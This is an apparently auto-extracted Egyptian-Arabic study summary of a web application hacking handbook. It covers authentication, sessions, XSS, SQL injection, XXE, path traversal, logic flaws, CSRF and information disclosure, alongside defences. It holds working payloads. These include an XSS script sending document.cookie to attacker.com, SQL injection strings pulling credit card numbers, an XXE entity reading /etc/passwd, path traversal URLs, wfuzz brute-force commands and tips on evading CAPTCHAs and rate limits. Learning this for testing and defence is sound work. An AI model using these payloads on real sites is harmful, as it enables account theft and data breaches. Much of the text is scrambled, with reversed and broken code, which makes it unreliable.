The Web App Hacker Handbook
The Web App Hacker Handbook
hacker's handbook
الفصل األول :أمن تطبيقات الويب ( Web Application
)(In)security
اعتبه مقدمه للكتاب
الفصل ده ر
.1تطور تطبيقات الويب
ً
زمان ،مواقع الويب كانت بسيطة جدا ،عبارة عن صفحات ثابتة
(.)Static Websites
المستخدم يدخل يقرأ معلومات ،مفيش تسجيل دخول وال
معامالت.
بالمستخدمي.
ر بالسيفر نفسه ،مش
ر أمن كان مرتبط
أي تهديد ي
اتغيت!
دلوقن ،األمور ر
ي
المستخدمي بيدخلوها.
ر
مثال:
غي ما يتأكد إذا كانت فورم تسجيل دخول يقبل أي حاجة من ر
البيانات دي صح أو أل.
لو المهاجم دخل كود ضار بدل البيانات (زي DROP
،);TABLE usersالكود ده ممكن يدمر قاعدة البيانات!
ليه دي مشكلة ضخمة؟
البيانات دي ممكن تتحول ألداة بيد المهاجم:
شقة الحسابات.
تدمي البيانات.
ر
المال:
ي .2االحتيال
زي تحويل األموال ربي الحسابات بدون إذن.
.3تنفيذ أكواد ضارة:
المستخدمي.
ر زي إدخال JavaScriptخبيث ينفذ عل أجهزة
من البداية.
كده يا باشا إحنا فهمنا إن األساس يف أمن تطبيقات الويب هو التأكد من
كل حاجة المستخدم بيعملها ،عشان ما نديش فرصة ألي حد يستغلها.
الثان( Core Defense Mechanisms :آليات الدفاع ي الفصل
األساسية)
بتحم نفسها باستخدام
ي ده الفصل ربيكز عل إزاي التطبيقات الويب
المستخدمي ،معالجة المدخالت ،والتعامل مع
ر آليات أساسية إلدارة
الهجمات.
المستخدمي ()Handling User Access ر .1إدارة وصول
أ .المصادقة (:)Authentication
الل بيقول عليه. المصادقة بتضمن إن المستخدم هو الشخص ي
أمثلة عل طرق المصادقة:
كلمات الرس.
المصادقة الثنائية (.)Two-Factor Authentication
الشهادات الرقمية.
ب .إدارة الجلسات (:)Session Management
كل مستخدم ليه جلسة فريدة بتبدأ بمجرد تسجيل دخوله.
الل بيتخزن
الجلسة بتستخدم "رمز جلسة" ( )Session Tokenي
الكوكي.
ر ً
غالبا يف
مشاكل شائعة:
للتخمي.
ر الرموز الضعيفة أو القابلة
المدار بشكل صحيح. غي ُ انتهاء الجلسة ر
ج .التحكم يف الوصول (:)Access Control
يعدل الموارد.ّ
مي يقدر يشوف أو التحكم يف الوصول بيحدد ر
األساسيي:
ر النوعي
ر
مستخدمي آخرين.
ر موارد
المستخدمي من الوصول إىل موارد ر أس ( :)Verticalمنع الر ي
إدارية.
نشاط مشبوه.
د .رد الفعل عىل الهجمات:
يمكن قفل الحساب بعد عدة محاوالت فاشلة.
غي عادي.
للمستخدمي لو حصل نشاط ر
ر إرسال تنبيهات
دوري.
التحديثات األمنية المنتظمة بتمنع استغالل الثغرات.
ملخص الفصل:
التطبيقات بتعتمد عل عدة آليات لحماية نفسها:
المستخدمي.
ر مصادقة
إدارة الجلسات.
التحكم يف الوصول.
المستخدمي.
ر التعامل بحذر مع مدخالت
إنشاء نظام فعال للتعامل مع األخطاء والهجمات.
أسلوب تطبيق المعرفة:
لو عايز تطبق الكالم ده ،جرب األدوات التالية:
: Burp Suite لتحليل كيفية تعامل التطبيقات مع المدخالت.
:OWASP ZAP الختبار أمان التطبيق ضد هجمات معروفة.
الفصل الثالث :تقنيات تطبيقات الويب ( Web Application
)Technologies
الل شغالة ورا الكواليس يف
دلوقن بق ،هنغوص شوية يف التقنيات ي
ي
تطبيقات الويب ،ونفهم إزاي بنستخدمها ونتعامل معاها .كل ده بطريقة
بسيطة.
.1ر
البوتوكول السحريHTTP :
السيفر (الخادم).
الل بيكلم بيها المتصفح بتاعك ر
HTTPهو اللغة ي
إزاي ده بيشتغل؟
.1المتصفح بيطلب حاجة ( ،)requestزي إنك عايز تشوف
بوست أو صورة.
الل طلبتها.
السيفر ربيد ( )responseبالمعلومة ي
ر .2
للسيفر.
ر
مثال " " :تتحول إىل .20%
:Base64 Encoding لتحويل النصوص لرموز.
.8الجلسات (:)Sessions
يميك
لما تسجل دخول ،التطبيق بيعمل جلسة خاصة ليك عشان ر
تان.
عن أي حد ي
:Session ID زي البطاقة بتاعتك أثناء الجلسة.
ليه الكالم ده مهم؟
لو فاهم الكالم ده ،هتعرف إزاي التطبيقات بتشتغل.
ده هيساعدك تكتشف المشاكل (الثغرات) وتفهم إزاي تصلحها.
الخالصة:
والكوكي
ر الل كل التطبيقات بتشتغل عليه،
HTTPهو األساس ي
تمييك كمستخدم .الفهم العميق للتقنيات ديوالجلسات بيساعدوا يف ر
األخالف أو حن تطوير التطبيقات.
ي هو مفتاحك للهاكنج
الفصل الرابع :رسم خريطة التطبيق ()Mapping the Application
الفصل ده يا نجم ربيكز عل واحدة من أهم الخطوات يف اختبارات اخياق
التطبيقات :رسم خريطة كاملة للتطبيق .زي لما تدخل مدينة جديدة
وعايز تعرف الشوارع واألماكن المهمة ،هنا بنعمل نفس الحاجة ،بس مع
التطبيقات .
بتشوفها.
خد بالك من الوظائف المتعددة المراحل (زي تسجيل
المخق:
ي ب .اكتشاف المحتوى
:Brute Force .1
جرب أسماء شائعة للملفات أو األدلة (زي ،login ،admin
.)debug
أدوات زي Burp Intruderبتساعدك تعمل ده بسهولة.
.3التحليل والتقييم
أ .تحديد نقاط إدخال البيانات:
أي مكان المستخدم بيقدر يدخل بياناته:
الروابط (.)URLs
الحقول يف النماذج.
الكوكي.
ر
الكوكي.
ر ،JavaScript ،HTML
عىل جانب الخادم (:)Server-Side
.4بناء الخريطة
أ .تحديد المسارات الوظيفية:
الل موجودةبدل ما تركز عل الصفحات بس ،شوف إيه الوظائف ي
:Dirbuster .2
الكتشاف األدلة والملفات المخفية.
:OWASP ZAP .3
أداة مفتوحة المصدر الختبار أمان التطبيقات.
.6نصائح ذهبية لرسم خريطة ناجحة:
الل بتظهر يف الصفحات.
الصغية زي األخطاء ي
ر ركز عل كل التفاصيل
لو لقيت صفحة مخفية أو وظيفة إضافية ،جرب تستغلها!
استخدم أدوات أوتوماتيكية ،لكن ال تهمل العمل اليدوي.
الخالصة:
رسم خريطة التطبيق هو الخطوة األوىل واألساسية يف أي اختبار اخياق.
كل ما كانت الخريطة دقيقة وشاملة ،كل ما زادت فرصتك يف اكتشاف
ثغرات قوية.
الفصل الخامس :استكشاف تطبيق الويب ( Web Hacking
🎉🎯 )Reconnaissance
حوالي إزاي تبدأ تكتشف الهدف بتاعك
ر طيب ،الفصل ده بيدور
وتلعب فيها.
:Sublist3r الكتشاف النطاقات الفرعية.
:Amass لتحليل أوسع للنطاقات.
بالكوكب والهيدرز 🍪
ر .4اللعب
الكوكي مش بس حاجة بتتاكل ،دي كمان بتساعدك تفهم المستخدم
ر
هجوم.
الخالصة:
الفصل ده كله عن إنك تعرف هدفك زي كف إيدك .كل ما كنت محقق
الل محدش شايفها .فاكر :النجاح يف
هتالف الكنوز ي
ي شاطر ،كل ما
للياء يف ✨💰 !Bug Bounty التفاصيل ،والتفاصيل ه طريقك ر
ي
ين شغلك! 😄 يال ،انطلق وور ي
الفصل السادس :مهاجمة أنظمة المصادقة ( Attacking
💻🎭 )Authentication
هنا بنخش يف واحدة من أهم وأكي المناطق حساسية يف تطبيقات الويب:
أنظمة المصادقة! زي ما يكون عندك قفل عل باب بيتك ،لو القفل ده
ضعيف أو فيه غلطة ،أي حد ممكن يدخل .يال بينا نعرف أكي ونتعلم!
.1ليه المصادقة مهمة؟
نظام المصادقة هو خط الدفاع األول ألي تطبيق .لو الهاكر قدر
يكرسه ،يبق عنده مفتاح البيت كله!
الل بيحاول يدخل هو الشخص المرصح له ً الهدف هو التأكد إن ي
فعال ،سواء باسمه وكلمة الرس ،أو بطريقة تانية زي بصمة اإلصبع أو
الكود المرسل للموبايل.
تحسي األمان:
ر .4طرق
أ .استخدام كلمات مرور قوية:
الزم تكون طويلة ومعقدة ،زي:
*Xzq9&A$7m
التشفب القوي (:)Encryption
ر ب.
تأكد إن البيانات بتتنقل عن طريق .HTTPS
ج .حماية الوظائف اإلضافية:
زي "نسيت كلمة المرور" ،الزم تكون متأكد إن مفيش حد يقدر
يستغلها بسهولة.
د .التعامل مع المحاوالت الفاشلة بحذر:
ً
مؤقتا. لو يف أكي من محاولة فاشلة ،اقفل الحساب
.5أدوات الختبار المصادقة:
:Burp Suite الختبار تسجيل الدخول.
التخمي عل كلمات الرس.
ر :Hydraالختبار
الرمز للدخول.
غب منتهية الصالحية:
ج .رموز ر
الل بتفضل شغالة حن بعد ما المستخدم يخرج.
زي الجلسات ي
تحم إدارة الجلسات؟ ي .4كيف
أ .إنشاء رموز قوية (:)Strong Tokens
عشوان قوي.
ي استخدم مولد أرقام
التفسي.
ر للتخمي أو
ر غي قابل
خليه ر
ب .حماية الرموز أثناء النقل (:)Protect Tokens in Transit
ً
.1استخدام HTTPSدائما:
عشان تشفر البيانات وتمنع اعياضها.
الكوكب:
ر .2عالمة HttpOnlyيف
تمنع الوصول للرمز عن طريق .JavaScript
ج .إدارة صالحية الجلسات:
.1تحديد وقت انتهاء:
ً
معي. تنته تلقائيا بعد وقت ر
ي كل جلسة الزم
.2إنهاء الجلسات عند تسجيل الخروج:
عشان تمنع استغالل الجلسة بعد الخروج.
الكوكب (:)Cookie Scope ر د .تقليل مجال
خليه مربوط بالنطاق أو المسار المطلوب فقط.
>
الل كتبته يف صفحة لما تدخل الرابط ،التطبيق يعرض النص ي
النتيجة ،وتشوف نافذة منبثقة (.)Alert
االستخدام الشائع؟
الهاكر يبعت الرابط لضحيته ويقنعه يفتحه.
ب XSS .المخزنة (:)Stored XSS
ويعرض هنا الكود الخبيث بيتخزن ف قاعدة البيانات أو السيفرُ ،
ر ي
الل يدخلوا الصفحة.المستخدمي ي
ر لكل
مثال:
هاكر يكتب تعليق فيه كود جافاسكريبت خبيث.
أي حد يشوف التعليق ،الكود يشتغل عنده.
ج XSS .المعتمدة عىل ):DOM (DOM-based XSS
بتحصل لما التطبيق يتعامل مع المدخالت عل جانب العميل
كاف.
غي تحكم ي ( )Client-Sideباستخدام جافاسكريبت ،من ر
مثال:
;)1(var message = location.hash.substring
;document.write(message)
.3أمثلة عملية عىل هجمات :XSS
مثال :1رسقة الجلسات (:)Session Hijacking
.1هاكر يزرع كود زي ده يف التعليقات:
>script< .2
+ '=http://attacker.com?cookie'(fetch .3
;)document.cookie
>script/< .4
الكوكي ويبعته للهاكر.
ر .5لما المستخدم يشوف الصفحة ،الكود يرسق
الكوكي ممكن تحتوي عل رموز الجلسة (،)Session Tokens
ر .6
;'"><
ترمب المخرجات (:)Output Encoding ب .ر
لما تعرض المدخالت ،حول الرموز الخطرة لنسخ آمنة.
مثال < :تصبح &;lt
ج .استخدام هيدرز األمان:
زي ) :Content Security Policy (CSPتمنع تحميل
غي موثوق بها.
سكربتات ر
د .استخدام مكتبات جاهزة:
مكتبات زي OWASP Java Encoderأو ESAPIتسهل
تطبيق األمان.
.5أدوات الكتشاف الثغرات:
:Burp Suite لفحص الثغرات وتجربة األكواد.
:OWASP ZAPتحليل التطبيق واختبار الهجمات.
.1إيه ي
ه مخازن البيانات؟
الل بيستخدمها.
الل بيحفظ فيه التطبيق البيانات ي
ه المكان ي
ي
أمثلة:
:SQL Databases زي MySQLو.PostgreSQL
:NoSQL Databases زي .MongoDB
XML أو :LDAPللتعامل مع البيانات بشكل مختلف.
ليه المخازن دي مهمة؟
ألنها بتحتوي عل الحاجات الل من غيها التطبيق بيقف ً
تماما. ر ي
.3أمثلة عملية
مثال :1رسقة البيانات باستخدام SQL Injection
.1مهاجم يكتشف حقل تسجيل دخول حساس.
.2يدخل:
' UNION SELECT credit_card_number FROM .3
-- credit_cards
.4النتيجة؟ أرقام بطاقات ائتمان كاملة! 💳
مثال :2حقن XMLورسقة الملفات
لو التطبيق بيستخدم XMLلتحديد الملفات.
المهاجم يرسل:
ENTITY xxe SYSTEM!<[ DOCTYPE foo!<
">] >"file:///etc/passwd
>data/<;xxe&>data<
النتيجة؟ يقدر يشوف ملف كلمات المرور!
😱
اخباق المسارات (:)Path Traversal ب .ر
بتحصل لما المهاجم يقدر يطلب ملفات خارج المسار المخصص
ليه.
مثال:
رابط زي ده:
http://example.com/download?file=report.pdf
ممكن يتعدل لـ:
http://example.com/download?file=../../etc/passw
d
ده هيعرض ملف كلمات المرور الخاص بالنظام.
ج .ثغرات :)XML External Entity (XXE
بتحصل لما التطبيق يعالج مدخالت XMLبدون حماية ،فيقدر
التشفب (:)Encoding
ر ج.
شفر أي مدخالت متعلقة بالمسارات أو األوامر.
د .إعدادات XMLآمنة:
امنع الكيانات الخارجية ( )External Entitiesيف تحليل .XML
.1إيه ي
ه ثغرات منطق التطبيقات؟
ثغرات منطق التطبيقات بتحصل لما المطور يفيض حاجة معينة عن
طريقة استخدام التطبيق ،لكن المهاجم بيستخدمه بشكل مختلف.
دي مش مشكلة يف الكود نفسه ،لكنها مشكلة يف "منطق" الكود.
مش فاهم صح هتفهم مع االمثله .
.2أمثلة عىل الثغرات يف منطق التطبيقات:
أ .تجاوز الخطوات المطلوبة (:)Skipping Steps
مثال :موقع للتسوق بيتطلب منك:
.1اختيار المنتج.
.2الدفع.
.3تأكيد الطلب.
المهاجم :يدخل عل خطوة تأكيد الطلب ر
مباشة بدون ما
يدفع!
تغيب القيم أثناء العملية (:)Parameter Manipulation
ب .ر
مثال:
تطبيق بيع تذاكر بيحسب عدد التذاكر وسعرها.
price=100&buy?quantity=2/
المهاجم يعدل الرابط لـ:
price=1&buy?quantity=2/
ج .استخدام بيانات قديمة (:)Replay Attacks
مثال:
كوبون خصم بيستخدم مرة واحدة .المهاجم يخزن الطلب ،ويعيد
إرساله مرة تانية بعد استخدام الكوبون.
(.)Admin Functions
.4أمثلة عملية عىل الهجمات:
مثال :1إتمام عملية بدون دفع
.1مستخدم يضيف منتج للسلة.
مباشة لصفحة "تم ر ً
بدال من الدفع ،ينتقل ر
الرساء". .2
يتخطاها.
ج .إدارة الجلسات بحذر (:)Session Management
تتغيش بشكل
اربط البيانات بالجلسة ( ،)Sessionواتأكد إنها ما ر
منطق.
ي غي
ر
.6أدوات لفحص الثغرات:
:Burp Suite الختبار الطلبات وتحليلها.
:OWASP ZAPلتجربة التالعب بالمدخالت واختبار التطبيق.
الخالصة:
ثغرات منطق التطبيقات مش ً
دايما واضحة ،لكن لما تالقيها ،ممكن تبق
دايما برا الصندوق ،وتجرب حاجات "غريبة"كارثية .عشان كده الزم تفكر ً
الميمج ما فكرش فيها.
ممكن ر
تعاىل نشوفعل الفصل ده اكي ي
طبعا انت حبيت علشان كده ركزت معاك ي
يمكن نعرف نشيي حاجه ببالش .
الشاء وطرق التعلم يف مجال Bug الثغرات المرتبطة بتخط خطوات ر
ي
Bounty
.1الثغرةBusiness Logic Vulnerabilities :
الوصف:
الثغرات دي بتظهر لما التطبيق ما يقدرش يتحقق بشكل صحيح من
الخطوات المطلوبة ف العمليات الحرجة ،زي عمليات ر
الرساء أو ي
الحجز.
لتخىط
ي الهاكر بيستغل ضعف المنطق يف الكود أو التحقق الضعيف
خطوة مهمة.
.2إزاي الثغرة دي بتحصل؟
مثال ،لو التطبيق مصمم إنه يعدي خطوة التحقق ًً
بناء يف عملية رشاء
السيفر،
عل بيانات من المتصفح أو الطلبات ( )Requestsبدل ر
يغي البيانات ويتخىط الخطوة.المهاجم يقدر ر
مثال:
أضفت منتج لسلة التسوق بـ 100دوالر.
للسيفر كان:
ر الل راح
الطلب ي
POST /checkout
Item: Laptop
Price: 100
يغي السعر لـ 1دوالر يف الطلب المرسل ،ولو
المهاجم ر
السيفر مش بيتحقق كويس ،العملية بتتم بسعر جديد.ر
😱
أسماء الثغرات المرتبطة وطرق اكتشافها:
أParameter Tampering .
الوصف:
للسيفر.
ر تغيي القيم المرسلة
ر
أدوات التعلم:
تعلم استخدام Burp Suiteلتعديل الطلبات والردود.
جرب تطبيقات تدريب زي DVWAأو PortSwigger
.Labs
بInsecure Direct Object References (IDOR) .
الوصف:
الوصول ألشياء مش المفروض توصلها بسبب ضعف التحقق.
مثال:
تغيي رقم الفاتورة يف رابط لـ:
ر
invoice/54321/ >- invoice/12345/
أدوات التعلم:
ابدأ مع Hack The Boxأو TryHackMeللتدريب.
جForced Browsing .
الوصف:
الوصول لصفحات أو خطوات مش المفروض تكون متاحة
للمستخدم.
مثال:
الوصول إىل صفحة تأكيد الطلب ر
مباشة:
checkout/confirm/
أدوات التعلم:
جرب أدوات زي OWASP ZAP
و.Burp Suite Spider
دRace Conditions .
الوصف:
مرتي
غي متوقعة ،زي تنفيذ طلب راستغالل اليامن إلتمام عمليات ر
بدل مرة.
مثال:
إرسال طلب رشاء برسعة ر
كبية قبل التحقق.
أدوات التعلم:
جرب أدوات مثل Turbo Intruderمع .Burp Suite
.2أدوات هتحتاجها:
:Burp Suite
لفحص الطلبات وتعديلها.
:Postman
الختبار واجهات برمجة التطبيقات (.)APIs
:OWASP ZAP
أداة مفتوحة المصدر الختبار األمان.
.3منصات تدريب:
:Bugcrowd University
كورسات مجانية عن اكتشاف الثغرات.
:PortSwigger Web Security Academy
الل
ه أمثلة حقيقية عل مشاكل منطق التطبيق ي
Browsingي
ممكن تستغلها يف .Bug Bounty
المستخدمي :تقنيات متنوعة
ر عش :مهاجمة الفصل الثالث ر
()Attacking Users: Other Techniques
ف الفصل ده ،هنستكشف طرق متقدمة ر
وأكي إبداعية الستهداف ي
غي الهجمات المعروفة زي .XSSخلينا نبدأ بحماس! 😎المستخدمي ر
ر
المستخدمي
ر .1الهدف من مهاجمة
المستخدمي؟
ر لماذا تهاجم
ً
السيفر أو التطبيق نفسه ،الهاكرز بيحاولوا
بدال من اخياق ر
المستخدمي
ر .2أنواع الهجمات عىل
أ .تزوير الطلبات ()Request Forgery
إزاي بيحصل؟
الهجوم ده بيستغل المتصفح الخاص بالمستخدم لتنفيذ طلبات
( )Requestsبدون علمه.
مثال:
ع بيستقبل طلب زي: ر
موقع ش ي
POST /transferFunds
Recipient=attacker&Amount=100
تجي المستخدم عل تنفيذ الطلب ده ،طالما
الهاكرز يصنع صفحة خبيثة ر
إنه مسجل دخول يف التطبيق المستهدف.
أنواع ر
البوير:
:On-Site Request Forgery يتم الهجوم من داخل
التطبيق نفسه.
) :Cross-Site Request Forgery (CSRFيتم الهجوم
خارج.
ر ي عي موقع
ر
ب .التالعب بواجهة المستخدم ()UI Redress
إزاي بيشتغل؟
يخق عنارص ضارة تحت واجهة رشعية ،بحيث يضغط ي الهاكر
خطية.
ر المستخدم بدون قصد عل حاجة
مثال:
مغىط عل زر "احذف الحساب". ي زر "تحميل ملف" بيكون
😱
ج .حقن HTMLوCSS
حقن :HTML
المستخدمي ينفذوا
ر المهاجم يضيف عنارص HTMLضارة لجعل
غي مقصودة. أفعال ر
حقن :CSS
لتغيي مظهر الصفحات وإخفاء وظائفها الحقيقية.
ر يستخدم CSS
اخباق سياسة نفس األصل ()Same-Origin Policy د .ر
المستخدمي:
ر بتحم
ي السياسة دي
بمنع المواقع من قراءة بيانات مواقع أخرى.
لكن...
الهاكرز بيستخدموا تقنيات زي DNS Rebindingأو
JavaScript Hijackingلتجاوز السياسة دي.
.5الحماية من الهجمات
أ .إصالح سياسات األمان:
تفعيل ) CSP (Content Security Policyلحماية المواقع من
حقن األكواد.
غي موثوقة. منع تشغيل JavaScriptمن مصادر ر
الكوكب:
ر ب .التحقق من
ً استخدام أعالم مثل HttpOnlyو Secureلجعل الكوكي ر
أكي أمانا. ر
.2استخدامات األتمتة
أ .التعرف عىل المعرفات الصحيحة ( Enumerating Valid
:)Identifiers
لو التطبيق عنده معرفات زي أرقام الحسابات أو أسماء
المستخدمي ،األتمتة تقدر تجرب كل الخيارات وتحدد الموجود
ر
ً
فعليا.
عمىل:
ي مثال
لو عندك رابط زي:
https://example.com/user?id=1
األدوات بتجرب أرقام زي 4 ،3 ،2وهكذا ،وتشوف
االستجابات.
تخمي كلمات المرور (:)Brute Forceر ب.
األدوات بتساعدك تجرب كل الكلمات الممكنة عل صفحة تسجيل
مثال:
wfuzz -c -z file,wordlist.txt --hc 404
https://example.com/FUZZ
ج Python .مع مكتبات زي :Requests
لو عايز تصمم سكربت خاص بيك ،بايثون أداة ممتازة.
مثال:
import requests
)"https://example.com/user?id={i}"requests.get(f
:in response.text "valid" if
.Limiting
الحل؟
حاول تتخىط CAPTCHAباستخدام أدوات زي
Captcha2أو .OCR
بروكش لتفادي الحظر.
ي استخدم خوادم
ب .إدارة الجلسات (:)Session Handling
التطبيقات بتحتاج توثيق (.)Authentication
الحل؟
الكوكي أو التوكن الصحيح.
ر تأكد إن طلباتك بتحتوي عل
مستخدمي عامة.
ر
األداة.Burp Suite :
الل تحتوي عل بيانات مستخدم.
الطريقة :استخرج الردود ي
تخط كلمات المرور (:)Password Reset Exploitation ي مثال :2
تعيي كلمة المرور عشان
جرب ترسل طلبات مختلفة لصفحة إعادة ر
تكتشف ثغرات.
مثال :3اختبار الثغرات الشائعة ( Fuzzing for Common
:)Vulnerabilities
جرب إدخال نصوص زي:
1'='1' OR '
.>script/<)'XSS'(alert>script<
للمبتدئي:
ر .6نصائح
ابدأ بأدوات سهلة االستخدام:
زي Burp Suiteو.OWASP ZAP
تعلم كتابة السكربتات:
مثاىل عشان تخصص الهجمات.بايثون خيار ي
تدرب عىل منصات مثل:
.Hack The Box
.TryHackMe
الخالصة:
ر
االخباق .األتمتة هتخليك توفر الفصل ده هو مفتاح القوة يف اختبار
وقت وتحقق دقة أعل ،بس الزم تفهم الهدف وتخصص الهجوم عشان
يجيب نتيجة فعالة.
عش :استغالل تشيبات المعلومات ( Exploiting الفصل الخامس ر
📜🔍 )Information Disclosure
ً
وهدوءا يف ترسانة ر
األكي فاعلية الفصل ده هو عن واحدة من األدوات
المهاجمي :تشيبات المعلومات .هنا بنتعلم إزاي نحصل عل معلوماتر
الل بتفتح الباب
الخطوة ي كبي ،ودي
مهمة من التطبيق بدون مجهود ر
ً
لهجمات أكي تعقيدا .مستعد؟ يال نبدأ!
يقصد.
المعلومة دي ممكن تكون:
السيفر. تفاصيل عن النظام أو ر
أخطاء برمجية بتكشف عن أكواد حساسة.
ملفات أو روابط كان المفروض تكون مخفية.
خطبة؟ ر ليه دي حاجة
المهاجم ممكن يستخدم المعلومات دي عشان:
يكتشف ثغرات.
الل محتاجة تجاوز. ي يحدد أدوات الحماية
ً يبن خطة هجوم ر
أكي تعقيدا. ي
.2أنواع تشيبات المعلومات
أ .رسائل األخطاء المكشوفة (:)Error Messages
ً
الل بيعرضها التطبيق أحيانا بتحتوي عل معلومات
رسائل األخطاء ي
حساسة زي:
نوع قاعدة البيانات (.)PostgreSQL ،MySQL
هيكل الجدول أو أسماء الحقول.
السيفر.
مسارات الملفات عل ر
عمىل:
ي مثال
رسالة خطأ زي:
does 'users' in table 'password' SQL Error: Column
.not exist
بتكشف أسماء الحقول وقاعدة البيانات المستخدمة.
ب .ملفات تكوين مكشوفة (:)Exposed Configuration Files
ملفات زي config.phpأو env.ممكن تحتوي عل:
بيانات تسجيل الدخول.
التشفي.
ر مفاتيح
مسارات الملفات الحساسة.
ج .هيدرز HTTPالحساسة:
هيدرز زي:
:X-Powered-Byبتكشف عن لغة ر
اليمجة أو اإلطار
( )Frameworkالمستخدم.
السيفر.
:Server بتعرض نوع إصدار ر
مثال:
X-Powered-By: PHP/7.4.3
)Server: Apache/2.4.41 (Ubuntu
دي بتقول للمهاجم كل حاجة عن البيئة التشغيلية.
د .تشيبات يف واجهات برمجة التطبيقات (:)APIs
بعض الـ APIsممكن تعرض معلومات أكي من الالزم زي أسماء
السيفر.
:Nikto لفحص إعدادات ر
تحم نفسك؟ي .5كيف
أ .إخفاء األخطاء:
اتأكد إن رسائل الخطأ ما تعرضش أي تفاصيل تقنية للمستخدم.
.6نصائح عملية
الل التطبيق بيعرضها عند األخطاء.
راجع الردود ي
غي متوقعة والحظ ردود التطبيق. جرب طلبات ر
استخدم أدوات تحليل لفحص كل زاوية من التطبيق.
الخالصة:
للمهاجمي ،دي كمان عالمة
ر ترسيبات المعلومات مش بس بتسهل الطريق
عل ضعف يف األمان .
ً
الم ربجمة أصال ️🕵️♂ عش :الهجوم عىل التطبيقات ُ الفصل السادس ر
ً
ان .هنا
ي السيي
ر األمن في بيلعب حد ألي ا جد ده فصل تقيل شوية لكنه مهم
الل بتتعامل مع الل مكتوبة بلغات زي Cو ،++Cي بنتكلم عن التطبيقات ي
الميمج مش واخد باله ،الهجمات دي ممكن الذاكرة بشكل ر
مباش .لو ر
الل هو عايزه!الينامج ،ويعمل ي تخل المهاجم يتحكم يف ر ي
طيب نبدأ بأنواع الهجمات بالتفصيل 🧙
( Buffer Overflow .1فائض الذاكرة)
أكي منالينامج ياخد بيانات ر والل بتحصل لما ر دي أشهر ثغرة ي
الل مخصصها يف الذاكرة. المساحة ي
التفصيل:
صغي مكتوب عليه "يتحمل 5كيلوجرام"، ر تخيل إن عندك صندوق
النص)
ي ( Format String Attack .3هجوم التنسيق
الينامج يف التعامل مع
النوع ده من الهجمات بيستغل طريقة ر
النصوص ،وخاصة لو بيستخدم دوال الطباعة زي .printf
تشبيه:
تخيل إنت قاعد يف كافيه وبتطلب قهوة ،لكن بدل ما تقول "عايز
الل يف
"هاتل قهوة مع كل ي
ي كتي" ،بتقول للنادل:
قهوة بسكر ر
(الينامج) مش هيشيك ويفيض إنك مش بتضحك الكاشي" .النادل ر
ر
عليه.
البمجة:يف ر
الميمج كتب حاجة زي: لو ر
;printf(userInput)
والمهاجم كتب يف الـ userInputحاجة زي .s %x %x %x% :ر
الينامج
هيبدأ يطبع محتويات من الذاكرة بدل النصوص!
إزاي نمنعها؟
الميمج يستخدم حاجات آمنة زي:
ر
يسحب كل البيانات.
.2التنقل ربي الطبقات (:)Pivoting
لباف
يبدأ الهجوم من طبقة واحدة زي العرض ،وبعدين يتنقل ي
الطبقات باستخدام العيوب الموجودة.
.3الهجوم عىل بيئات السحابة (:)Cloud Environments
لو عندك تطبيق يف السحابة ( ،)Cloudومستخدم واحد عمل
تطبيق فيه ثغرة ،ممكن يوقع البنية بالكامل.
البيانات.
.2تقليل الثقة ربي الطبقات:
الطبقات الزم تشيك كل طلب بينها.
الل جايلها من طبقة مثال :طبقة البيانات تتأكد إن الطلب ي
منطق ومسموح بيه.
ي التطبيق
ر
المشبكة: .3الحماية داخل البيئة
لو التطبيقات عل خادم مشيك ،كل تطبيق الزم يكون معزول
التان.
ي عن
مثال :كل تطبيق يكون له حساب مستخدم خاص بيه يف نظام
التشغيل.
.4تطبيق مبادئ الحماية المتعددة (:)Defense in Depth
التشفي ،التحقق من المدخالت،
ر استخدم تقنيات متعددة زي
المستخدمي.
ر وتحديد صالحيات
خالصة:
الهجوم عل بنية التطبيق زي إنك تحاول توقع عمارة برصب دور واحد،
الباف.
بس لو العمارة معمولة كويس ،حن لو وقعت دور مش هيأثر عل ي
عش :الهجوم عىل خادم التطبيقات 🌐💥 الفصل الثامن ر
المهاجمي ممكن يستغلوا خادم التطبيقات
ر الفصل ده بيتكلم عن إزاي
نفسه ( )Application Serverللوصول للبيانات أو التحكم الكامل يف
التطبيق .عشان نبسط الفكرة ،تخيل خادم التطبيقات زي "بواب
نش الباب مفتوح أو ساب المفتاح يف الباب ،أي حدالعمارة" ،لو البواب ي
الل هو عايزه! 😅
ممكن يدخل العمارة ويعمل ي
🧙ه المشاكل الرئيسية يف خادم التطبيقات؟ي .1إيه
ر
االفباضية الضعيفة: أ) اإلعدادات
ً
بتيج بإعدادات افياضية ضعيفة جدا.
بعض الخوادم ر ي
مثال :اسم المستخدم والباسورد االفي ر
اضيي زي admin
متسيبي.
ر و passwordلسه
اض القابل لالستغالل: ر
االفب ب) المحتوى
ي
بيج مع أدوات لالختبار أو عينات للوظائف ( Test الخادم ر ي
)Pages/Sample Pagesزي صفحات تعرض معلومات حساسة
زي .phpinfo.php
ج) الترصيحات الزائدة لبعض الوظائف:
بعض الخوادم بتسمح باستخدام طرق HTTPزي PUTأو
والل ممكن المهاجم يستغلها لتحميل ملفات خبيثة. ،DELETEي
"بروكس":
ي د) الخادم ك
وكش، كي يشتغل إنه عد م ف بعض األحيان ،الخادم بيكون ُ
ي ر ي
والمهاجم ممكن يستخدمه لشن هجمات عل أهداف تانية.
جهاز المستخدم.
مثال :لو موقع بيعرض تعليقات ،والمهاجم كتب تعليق
يحتوي عل كود JavaScriptضار .أي حد يفتح التعليق ده،
يقع يف الفخ.
:Cross-Site Request Forgery (CSRF) .2
إيه ده؟ :المهاجم بيخدع المستخدم إنه يعمل طلب لموقع ر
معي
تغيي اإلعدادات).
غي ما يعرف (زي إرسال أموال أو ر
من ر
غي مرغوب فيها باسم المستخدم. التأثب :تنفيذ عمليات ر
ر
خطي.
ر
متخق فوق
ي مثال :صفحة بتعرض زر "إعجاب" ،لكن الزر ده
زر "تحويل أموال"😅 .
:Content Spoofing .4
إيه ده؟ :المهاجم يعدل محتوى صفحة عشان يخدع المستخدم.
التأثب :المستخدم يثق بمعلومات مزيفة.
ر
مثال :صفحة تسجيل دخول مزيفة بتظهر وكأنها جزء من
الحقيق.
ي الموقع
:Malware Delivery .5
إيه ده؟ :المهاجم يستخدم الموقع إلرسال برامج ضارة لجهاز
المستخدم.
بفيوسات أو برامج تجسس. التأثب :اإلصابة ر
ر
البيانات💣😬 .
محبف؟ تبق ر كيف ر
ابدأ بالبسيط:
ركز عل األدوات الخفيفة األول .متصفح ،Burp Suite +دول
كفاية تبنيك💪 .
جرب براحتك:
جرب عل تطبيقات تدريبية (مش بيوت الناس 😂) علشان تفهم
غي مشاكل قانونية.
من ر
